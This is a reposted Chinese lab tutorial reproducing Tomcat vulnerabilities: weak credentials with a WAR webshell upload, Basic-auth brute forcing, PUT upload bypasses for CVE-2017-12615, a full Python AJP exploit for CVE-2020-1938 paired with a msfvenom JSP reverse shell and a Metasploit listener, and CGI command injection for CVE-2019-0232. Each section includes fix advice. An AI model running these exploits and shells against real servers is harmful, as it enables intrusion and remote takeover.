tomcat中间件漏洞复现

这篇具有很好参考价值的文章主要介绍了tomcat中间件漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

tomcat中间件漏洞复现

tomcat介绍

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

诀窍是,当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。目前Tomcat最新版本为10.0.5。

弱口令&war远程部署

漏洞描述

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台

漏洞复现

使用vulhub搭建漏洞环境
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
访问http://your-ip:8080
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
点击Manager App,输入tomcat/tomcat即可登入后台

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
找到上传文件的位置
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
使用哥斯拉生成一个木马,并打包成war包

jar -cvf shell.war .\shell.jsp

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
返回后台文件上传的位置,进行上传
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
可以看到文件已成功上传
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
访问一下上传木马的目录
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
没有报错,应该是成功上传了,使用哥斯拉进行连接
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
成功getshell

修复建议

1 删除webapps目录中的docs、examples、host-manager、manager等正式环境用不着的目录
2 管理员尽量不使用弱口令
3 设置该网页只能本机可以访问

manager App暴力破解

漏洞描述

后台密码用base64编码传输,抓包解密即可得到后台密码,也可以进行爆破

漏洞复现

继续使用上面的“弱口令&war远程部署”环境进行复现
来到页面首页,点击Manager App,随意输入账号密码进行抓包
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
将Basic后面的值作为要爆破的字段
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
爆破方式选择Custom iterator
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
先输入要爆破的账号名
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
然后以冒号进行分隔,注意为英文冒号
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
然后输入爆破的密码
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
从抓到的包很容易看出为base64加密,所以这里爆破加密方式选择base64加密
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
最后把URL编码的勾给取消掉
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
点击Start attack开始爆破
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
将爆破出来的结果进行一下base64解码即可
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全

修复建议

修改密码为强密码,限制登录次数,设置登录白名单

CVE-2017-12615

漏洞描述

由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码

通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控

漏洞影响版本

Tomcat 7.0.0-7.0.81

漏洞复现

使用vulhub进行环境搭建
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
访问http://your-ip:8080
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
进入docker里查看一下web.xml的代码,可以看到这里readonly设置为false,所以存在漏洞
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
在首页进行抓包
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
尝试使用PUT协议上传一个文件
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
可以看到在docker容器中文件已成功上传
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
尝试上传jsp木马
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
这里发现上次失败了,限制了jsp后缀的上传
这里可以使用三种方式进行绕过

1.Windows下不允许文件以空格结尾以PUT /1.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格  
2.Windows NTFS流Put/1.jsp::$DATA HTTP/1.1  
3. /在文件名中是非法的,也会被去除(Linux/Windows)Put/1.jsp/http:/1.1 

首先使用%20进行绕过
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
可以看到已成功上传
使用/进行绕过
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
在docker容器中发现目标已成功上传
使用::$DATA进行绕过
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
在docker容器中发现已成功上传
随意挑选一个木马进行连接,当然这里还是要以实际操作系统为主,例如::$DATA在Linux系统肯定是不能连接的
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
成功getshell

修复建议

将readonly设置为true,设为false就是允许用户使用PUT和deleate方法

CVE-2020-1938

漏洞描述

CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。

此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞复现

使用vulhub的环境进行搭建
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
访问http://your-ip:8080
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
下载POC利用脚本

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

进入文件夹,输入命令进行攻击,注意这里为python2

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.211.55.2 -p 8009 -f /WEB-INF/web.xml

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
成功读取文件信息,尝试进行getshell
使用msfvenom生成一个木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.4 LPORT=4444 > shell.txt

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
将这个文件直接上传到docker容器里,所以此漏洞在真实环境中想要getshell必须要有文件上传的地方
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
可以看到文件已成功上传至docker容器
上面那个POC只能查看文件内容,想getshell需要用到以下代码,注意,这里为python3环境

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64


# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)


def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res


class NotFoundException(Exception):
    pass


class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction

    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res

    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break


class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
                       'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
                      "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
                      "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
                  "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction

    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res

    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res

    def parse(self, raw_packet):
        stream = io.StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res


class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]

    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length + 1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r


import socket


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", buffering=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers[
                'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res


'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse

parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
    {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print(''.join([d.data.decode('utf_8') for d in data]))

先使用msfconsole监听一下本地的4444端口

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 10.211.55.4
set lport 4444
exploit

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
使用上面的POC进行getshell

python3 1.py 10.211.55.2 -p 8009 -f /WEB-INF/shell.txt --rce 1

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
可以看到msfconsole这边成功返回一条回话,成功getshell

修复建议

1.禁用AJP协议,在/conf/server.xml文件,删除或注释这行代码:
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
2.升级到tomcat最新版本

CVE-2019-0232

漏洞描述

漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。这个漏洞是因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的

Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess ,会将参数合并成字符串,作为 lpComandLine 传入 CreateProcess 。程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 传至 argv。在Windows中,当 CreateProcess 中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成 cmd.exe /c “arg.bat & dir”,而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞

漏洞影响范围

Apache Tomcat 7.0.0 ~ 7.0.93、 8.5.0 ~ 8.5.39、 9.0.0~9.0.17

漏洞复现

首先去tomcat官网下载一个有漏洞的版本,这里笔者使用的是8.5.39版本,下载地址https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/
下载好之后配置一下java环境变量,这里笔者就不写配置环境变量的过程了,直接进入下载好的tomcat里面的bin目录,运行startup.bat文件
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
访问http://your-ip:8080成功出现tomcat页面即代表环境搭建成功
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
修改文件,修改 conf/context.xml<Context> 添加 privileged="true"属性,否则会没有权限
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable。enableCmdLineArguments 启用后才会将Url中的参数传递到命令行, executable 指定了执行的二进制文件,默认是 perl,需要设置为空才会执行文件本身。
conf/web.xml中找到注释的 CGIServlet部分,去掉注释,并配置enableCmdLineArgumentsexecutable

<servlet>
	<servlet-name>cgi</servlet-name>
	<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
	<param-name>debug</param-name>
	<param-value>0</param-value>
</init-param>
<init-param>
	 <param-name>cgiPathPrefix</param-name>
	 <param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
	 <param-name>enableCmdLineArguments</param-name>
	 <param-value>true</param-value>
</init-param>
<init-param>
	<param-name>executable</param-name>
	<param-value></param-value>
</init-param>
	<load-on-startup>5</load-on-startup>
</servlet>

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
然后在conf/web.xml中启用cgiservlet-mapping
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
然后进入\webapps\ROOT\WEB-INF,新建一个cgi-bin的文件夹
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
进入cgi-bin目录,新建一个hello.bat文件,文件内容如下

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
然后重启一下服务器,进入bin目录先运行shutdown.bat,再运行startup.bat文件
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
首先访问http://127.0.0.1:8080/cgi-bin/hello.bat,可以看到成功下载该文件
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
然后进行攻击,访问http://127.0.0.1:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5CConverter.exe,成功弹出计算机
tomcat中间件漏洞复现,漏洞复现,tomcat,中间件,web安全
这里因为电脑自带的计算机有点问题,笔者放了一个编码解码的工具放在了windows/system32目录下,只要能看到结果即可

修复建议

1关闭enableCmdLineArguments参数
2 更新新版本文章来源地址https://www.toymoban.com/news/detail-687046.html

到了这里,关于tomcat中间件漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等 1、中间件-Weblogic安全 2、中间件-JBoos安全 3、中间件-Jenkins安全 4、中间件-GlassFish安全 常见中间件的安全测试: 1、配置

    2024年02月08日
    浏览(41)
  • 中间件安全-CVE 复现&K8s&Docker&Jetty&Websphere漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等。 中间件所披露的问题: 中间件安全-IISApacheTomcatNginx漏洞复现 中间件安全-WeblogicJenkinsGlassFish漏洞复现 1、中间

    2024年02月08日
    浏览(50)
  • 第59天-服务攻防-中间件安全&CVE 复现&IIS&Apache&Tomcat&Nginx

    文章仅供学习交流,一些价值不高的漏洞没复现,日后来兴趣再补坑(大概~) 文章略长,阅读需耐心~ 视频链接:  【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训_哔哩哔哩_bilibili https://www.bilibili.com/video/BV1pQ4y1s7kH 目录 一.知识点 二.章节内容 1、常见中间件的安全测试 2、

    2024年02月20日
    浏览(58)
  • 小迪安全 第59天 服务攻防-中间件安全&CVE 复现&IIS&Apache&Tomcat&Nginx

    IIS现在用的也少了,漏洞也基本没啥用  没有和权限挂钩 windows 2003上面的漏洞 配置不当:该漏洞与 Nginx、php 版本无关,属于用户配置不当造成的解析漏洞。 这个跟文件上传类似,找到文件上传点,上传png图片 找到上传路径和nginx版本号 查看路径 添加后缀可以用php执行png

    2024年02月04日
    浏览(98)
  • 33、WEB攻防——通用漏洞&文件上传&中间件解析漏洞&编辑器安全

    IIS爆过漏洞的版本:IIS6.0(windows server 2003)、IIS7.0和IIS7.5(windows server 2008) IIS6.0解析漏洞: 文件名:x.asp;x.jpg,jpg的文件后缀名,但是会被解析为asp文件; 目录名:x.asp/x.jpg, 文件目录名含有.asp后缀,x.jpg也会被解析为asp文件。 触发条件: IIS6.0这个中间件; 上传文件能不

    2024年01月24日
    浏览(79)
  • 小迪安全33WEB 攻防-通用漏洞&文件上传&中间件解析漏洞&编辑器安全

    # 知识点: 1 、中间件安全问题 2 、中间件文件上传解析 3 、 Web 应用编辑器上传 编辑器也就是第三方插件,一般都是文件上传漏洞 # 详细点: 1 、检测层面:前端,后端等 2 、检测内容:文件头,完整性,二次渲染等 3 、检测后缀:黑名单,白名单, MIME 检测等 4 、绕过技

    2024年03月16日
    浏览(59)
  • day33WEB 攻防-通用漏洞&;文件上传&;中间件解析漏洞&;编辑器安全

    先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7 深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前! 因此收集整理了一份《2024年最新网络安全全套学习资料》

    2024年04月24日
    浏览(60)
  • day33WEB 攻防-通用漏洞&;文件上传&;中间件解析漏洞&;编辑器安全(1)

    2、解析漏洞-nginx.conf 配置不当 二,Web 应用编辑器-Ueditor 文件上传安全 三,实例 CMS平台-中间件解析编辑器引用 配套资源下载(百度网盘): 链接:https://pan.baidu.com/s/11Q9sAPQ9P_ReOP9PKL0ABg?pwd=jgg4  提取码:jgg4 本章节知识点: 1 、中间件安全问题 2 、中间件文件上传解析 3 、

    2024年04月15日
    浏览(86)
  • Web中间件常见漏洞

    Web中间件常见漏洞 我们常见的中间件有apache,tomcat,IIS,weblogic(其实就是web容器),这些中间件可以设置支持的HTTP方法。每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果中间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传

    2024年02月14日
    浏览(66)
  • 中间件安全—Nginx常见漏洞

      在上篇中间件安全—Apache常见漏洞中,并未对中间件漏洞进行解释,这里补充一下。   所谓的中间件漏洞就是并非是由于代码程序上设计存在缺陷而导致的漏洞,而是属于应用部署中环境配置不当或使用不当而导致的漏洞,同时这方面的漏洞也是最容易被管理员忽略的

    2024年02月09日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包